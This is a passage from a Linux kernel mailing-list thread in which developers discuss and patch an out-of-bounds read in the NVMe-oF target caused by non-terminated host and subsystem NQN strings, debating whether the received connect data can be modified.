>                                         const char *hostnqn, u16 cntlid,
>                                         struct nvmet_req *req)
>   {
> +       char subsysnqn_str[NVMF_NQN_SIZE + 1] = { 0 };
> +       char hostnqn_str[NVMF_NQN_SIZE + 1] = { 0 };
>          struct nvmet_ctrl *ctrl = NULL;
>          struct nvmet_subsys *subsys;
>
> -       subsys = nvmet_find_get_subsys(req->port, subsysnqn);
> +       /* subsysnqn & hostnqn may not be NULL ternimated */
> +       strncpy(subsysnqn_str, subsysnqn, NVMF_NQN_SIZE);
> +       strncpy(hostnqn_str, hostnqn, NVMF_NQN_SIZE);
> +
> +       subsys = nvmet_find_get_subsys(req->port, subsysnqn_str);
>          if (!subsys) {
>                  pr_warn("connect request for invalid subsystem %s!\n",
> -                       subsysnqn);
> +                       subsysnqn_str);
>                  req->cqe->result.u32 = IPO_IATTR_CONNECT_DATA(subsysnqn);
>                  goto out;
>          }
> @@ -1249,7 +1255,7 @@ struct nvmet_ctrl *nvmet_ctrl_find_get(const char
> *subsysnqn,
>          mutex_lock(&subsys->lock);
>          list_for_each_entry(ctrl, &subsys->ctrls, subsys_entry) {
>                  if (ctrl->cntlid == cntlid) {
> -                       if (strncmp(hostnqn, ctrl->hostnqn,
> NVMF_NQN_SIZE)) {
> +                       if (strncmp(hostnqn_str, ctrl->hostnqn,
> NVMF_NQN_SIZE)) {
>                                  pr_warn("hostnqn mismatch.\n");
>                                  continue;
>                          }
> @@ -1263,7 +1269,7 @@ struct nvmet_ctrl *nvmet_ctrl_find_get(const char
> *subsysnqn,
>
>          ctrl = NULL; /* ctrl not found */
>          pr_warn("could not find controller %d for subsys %s / host %s\n",
> -               cntlid, subsysnqn, hostnqn);
> +               cntlid, subsysnqn_str, hostnqn_str);
>          req->cqe->result.u32 = IPO_IATTR_CONNECT_DATA(cntlid);
>
>   found:
> @@ -1358,25 +1364,32 @@ static void nvmet_fatal_error_handler(struct
> work_struct *work)
>   u16 nvmet_alloc_ctrl(const char *subsysnqn, const char *hostnqn,
>                  struct nvmet_req *req, u32 kato, struct nvmet_ctrl **ctrlp)
>   {
> +       char subsysnqn_str[NVMF_NQN_SIZE + 1] = { 0 };
> +       char hostnqn_str[NVMF_NQN_SIZE + 1] = { 0 };
>          struct nvmet_subsys *subsys;
>          struct nvmet_ctrl *ctrl;
>          int ret;
>          u16 status;
>
>          status = NVME_SC_CONNECT_INVALID_PARAM | NVME_SC_DNR;
> -       subsys = nvmet_find_get_subsys(req->port, subsysnqn);
> +
> +       /* subsysnqn & hostnqn may not be NULL ternimated */
> +       strncpy(subsysnqn_str, subsysnqn, NVMF_NQN_SIZE);
> +       strncpy(hostnqn_str, hostnqn, NVMF_NQN_SIZE);
> +
> +       subsys = nvmet_find_get_subsys(req->port, subsysnqn_str);
>          if (!subsys) {
>                  pr_warn("connect request for invalid subsystem %s!\n",
> -                       subsysnqn);
> +                       subsysnqn_str);
>                  req->cqe->result.u32 = IPO_IATTR_CONNECT_DATA(subsysnqn);
>                  req->error_loc = offsetof(struct nvme_common_command,
> dptr);
>                  goto out;
>          }
>
>          down_read(&nvmet_config_sem);
> -       if (!nvmet_host_allowed(subsys, hostnqn)) {
> +       if (!nvmet_host_allowed(subsys, hostnqn_str)) {
>                  pr_info("connect by host %s for subsystem %s not
> allowed\n",
> -                       hostnqn, subsysnqn);
> +                       hostnqn_str, subsysnqn_str);
>                  req->cqe->result.u32 = IPO_IATTR_CONNECT_DATA(hostnqn);
>                  up_read(&nvmet_config_sem);
>                  status = NVME_SC_CONNECT_INVALID_HOST | NVME_SC_DNR;
>
> -ck
>
>

I think that although those patches will fix the bug in the two
functions we talked about, the non-terminated strings are still stored
in the `struct nvmf_connect_data` object.
This can cause major security bugs in the future. Moreover, handling
this kind of copy of strings before each time we use `subsysnqn` or
`sysnqn` is taking resources and time.
For example, in `nvmf_connect_data_prep()` it uses
`strncpy(data->subsysnqn, ctrl->opts->subsysnqn, NVMF_NQN_SIZE);` to
copy the subsysnqn to the object, with NVMF_NQN_SIZE as the max size.

Is it possible to add a NULL terminator after each time we use
`nvmet_copy_from_sgl()` to copy from an SGL to `struct
nvmf_connect_data` object?
Also, I think `nvmet_copy_from_sgl()` should be considered as unsafe
when using it to copy strings, as it doesn't check for NULL
termination.

Thanks,
Alon.


^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [Bug Report] NVMe-oF/TCP - Slab OOB Read in `nvmet_ctrl_find_get`
  2023-11-08 11:02       ` Alon Zahavi
@ 2023-11-08 14:03         ` Christoph Hellwig
  2023-11-08 22:09           ` Chaitanya Kulkarni
  0 siblings, 1 reply; 9+ messages in thread
From: Christoph Hellwig @ 2023-11-08 14:03 UTC (permalink / raw)
  To: Alon Zahavi
  Cc: Chaitanya Kulkarni, Sagi Grimberg, Christoph Hellwig, linux-nvme

On Wed, Nov 08, 2023 at 01:02:38PM +0200, Alon Zahavi wrote:
> I think that although those patches will fix the bug in the two
> functions we talked about, the non-terminated strings are still stored
> in the `struct nvmf_connect_data` object.

Yes, and that's a problem.

> Is it possible to add a NULL terminator after each time we use
> `nvmet_copy_from_sgl()` to copy from an SGL to `struct
> nvmf_connect_data` object?

Yes, and that is the best thing to do in the short term as it's
easily backportable.  I'd much prefer to move to counted strings as
in the seq_buf type, but that is a longer term project.

> Also, I think `nvmet_copy_from_sgl()` should be considered as unsafe
> when using it to copy strings, as it doesn't check for NULL
> termination.

Think of nvmet_copy_from_sgl as a memcpy from a different address
space.  It works on a very different abstraction layer and thus
doesn't even know about strings.  The callers really need to,
and maybe we want a helper for that.  For now that patch below should
fix the issue you reported, although for me KASAN doesn't trip up
on the reproducer with or without the patch, so if you could test it
on your setup that would be great:

diff --git a/drivers/nvme/target/fabrics-cmd.c b/drivers/nvme/target/fabrics-cmd.c
index 43b5bd8bb6a52d..0920fe7ce4ac99 100644
--- a/drivers/nvme/target/fabrics-cmd.c
+++ b/drivers/nvme/target/fabrics-cmd.c
@@ -244,6 +244,8 @@ static void nvmet_execute_admin_connect(struct nvmet_req *req)
 		goto out;
 	}
 
+	d->subsysnqn[NVMF_NQN_FIELD_LEN] = '\0';
+	d->hostnqn[NVMF_NQN_FIELD_LEN] = '\0';
 	status = nvmet_alloc_ctrl(d->subsysnqn, d->hostnqn, req,
 				  le32_to_cpu(c->kato), &ctrl);
 	if (status)
@@ -313,6 +315,8 @@ static void nvmet_execute_io_connect(struct nvmet_req *req)
 		goto out;
 	}
 
+	d->subsysnqn[NVMF_NQN_FIELD_LEN] = '\0';
+	d->hostnqn[NVMF_NQN_FIELD_LEN] = '\0';
 	ctrl = nvmet_ctrl_find_get(d->subsysnqn, d->hostnqn,
 				   le16_to_cpu(d->cntlid), req);
 	if (!ctrl) {


^ permalink raw reply related	[flat|nested] 9+ messages in thread

* Re: [Bug Report] NVMe-oF/TCP - Slab OOB Read in `nvmet_ctrl_find_get`
  2023-11-08 14:03         ` Christoph Hellwig
@ 2023-11-08 22:09           ` Chaitanya Kulkarni
  2023-11-09  4:52             ` Christoph Hellwig
  0 siblings, 1 reply; 9+ messages in thread
From: Chaitanya Kulkarni @ 2023-11-08 22:09 UTC (permalink / raw)
  To: Christoph Hellwig; +Cc: Sagi Grimberg, linux-nvme, Alon Zahavi

> Think of nvmet_copy_from_sgl as a memcpy from a different address
> space.  It works on a very different abstraction layer and thus
> doesn't even know about strings.  The callers really need to,
> and maybe we want a helper for that.  For now that patch below should
> fix the issue you reported, although for me KASAN doesn't trip up
> on the reproducer with or without the patch, so if you could test it
> on your setup that would be great:
>
> diff --git a/drivers/nvme/target/fabrics-cmd.c b/drivers/nvme/target/fabrics-cmd.c
> index 43b5bd8bb6a52d..0920fe7ce4ac99 100644
> --- a/drivers/nvme/target/fabrics-cmd.c
> +++ b/drivers/nvme/target/fabrics-cmd.c
> @@ -244,6 +244,8 @@ static void nvmet_execute_admin_connect(struct nvmet_req *req)
>   		goto out;
>   	}
>   
> +	d->subsysnqn[NVMF_NQN_FIELD_LEN] = '\0';
> +	d->hostnqn[NVMF_NQN_FIELD_LEN] = '\0';
>   	status = nvmet_alloc_ctrl(d->subsysnqn, d->hostnqn, req,
>   				  le32_to_cpu(c->kato), &ctrl);
>   	if (status)
> @@ -313,6 +315,8 @@ static void nvmet_execute_io_connect(struct nvmet_req *req)
>   		goto out;
>   	}
>   
> +	d->subsysnqn[NVMF_NQN_FIELD_LEN] = '\0';
> +	d->hostnqn[NVMF_NQN_FIELD_LEN] = '\0';
>   	ctrl = nvmet_ctrl_find_get(d->subsysnqn, d->hostnqn,
>   				   le16_to_cpu(d->cntlid), req);
>   	if (!ctrl) {

I specifically didn't send this patch when I wrote it initially, coz we are
modifying connect data and yes it will work just fine functionally but
in principal we should not touch connect data after nvmet_copy_from_sgl()
call even for the sake of debug prints or string comparison since it's
a data that we've received from host and should be in read-only mode.

please correct me if connect data should not be treated as read-only...

-ck



^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [Bug Report] NVMe-oF/TCP - Slab OOB Read in `nvmet_ctrl_find_get`
  2023-11-08 22:09           ` Chaitanya Kulkarni
@ 2023-11-09  4:52             ` Christoph Hellwig
  2023-11-09  8:49               ` Chaitanya Kulkarni
  0 siblings, 1 reply; 9+ messages in thread
From: Christoph Hellwig @ 2023-11-09  4:52 UTC (permalink / raw)
  To: Chaitanya Kulkarni
  Cc: Christoph Hellwig, Sagi Grimberg, linux-nvme, Alon Zahavi

On Wed, Nov 08, 2023 at 10:09:27PM +0000, Chaitanya Kulkarni wrote:
> I specifically didn't send this patch when I wrote it initially, coz we are
> modifying connect data and yes it will work just fine functionally but
> in principal we should not touch connect data after nvmet_copy_from_sgl()
> call even for the sake of debug prints or string comparison since it's
> a data that we've received from host and should be in read-only mode.
> 
> please correct me if connect data should not be treated as read-only...

Why would it?  It's purely in-memory and any data transfer is copied
into it.


^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [Bug Report] NVMe-oF/TCP - Slab OOB Read in `nvmet_ctrl_find_get`
  2023-11-09  4:52             ` Christoph Hellwig
@ 2023-11-09  8:49               ` Chaitanya Kulkarni
  0 siblings, 0 replies; 9+ messages in thread
From: Chaitanya Kulkarni @ 2023-11-09  8:49 UTC (permalink / raw)
  To: Christoph Hellwig; +Cc: Sagi Grimberg, linux-nvme, Alon Zahavi

On 11/8/2023 8:52 PM, Christoph Hellwig wrote:
> On Wed, Nov 08, 2023 at 10:09:27PM +0000, Chaitanya Kulkarni wrote:
>> I specifically didn't send this patch when I wrote it initially, coz we are
>> modifying connect data and yes it will work just fine functionally but
>> in principal we should not touch connect data after nvmet_copy_from_sgl()
>> call even for the sake of debug prints or string comparison since it's
>> a data that we've received from host and should be in read-only mode.
>>
>> please correct me if connect data should not be treated as read-only...
> 
> Why would it?  It's purely in-memory and any data transfer is copied
> into it.

okay.

-ck



^ permalink raw reply	[flat|nested] 9+ messages in thread

end of thread, other threads:[~2023-11-09  8:50 UTC | newest]

Thread overview: 9+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2023-11-06 13:37 [Bug Report] NVMe-oF/TCP - Slab OOB Read in `nvmet_ctrl_find_get` Alon Zahavi
2023-11-08  8:46 ` Chaitanya Kulkarni
2023-11-08  9:01   ` Alon Zahavi
2023-11-08 10:02     ` Chaitanya Kulkarni
2023-11-08 11:02       ` Alon Zahavi
2023-11-08 14:03         ` Christoph Hellwig
2023-11-08 22:09           ` Chaitanya Kulkarni
2023-11-09  4:52             ` Christoph Hellwig
2023-11-09  8:49               ` Chaitanya Kulkarni

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).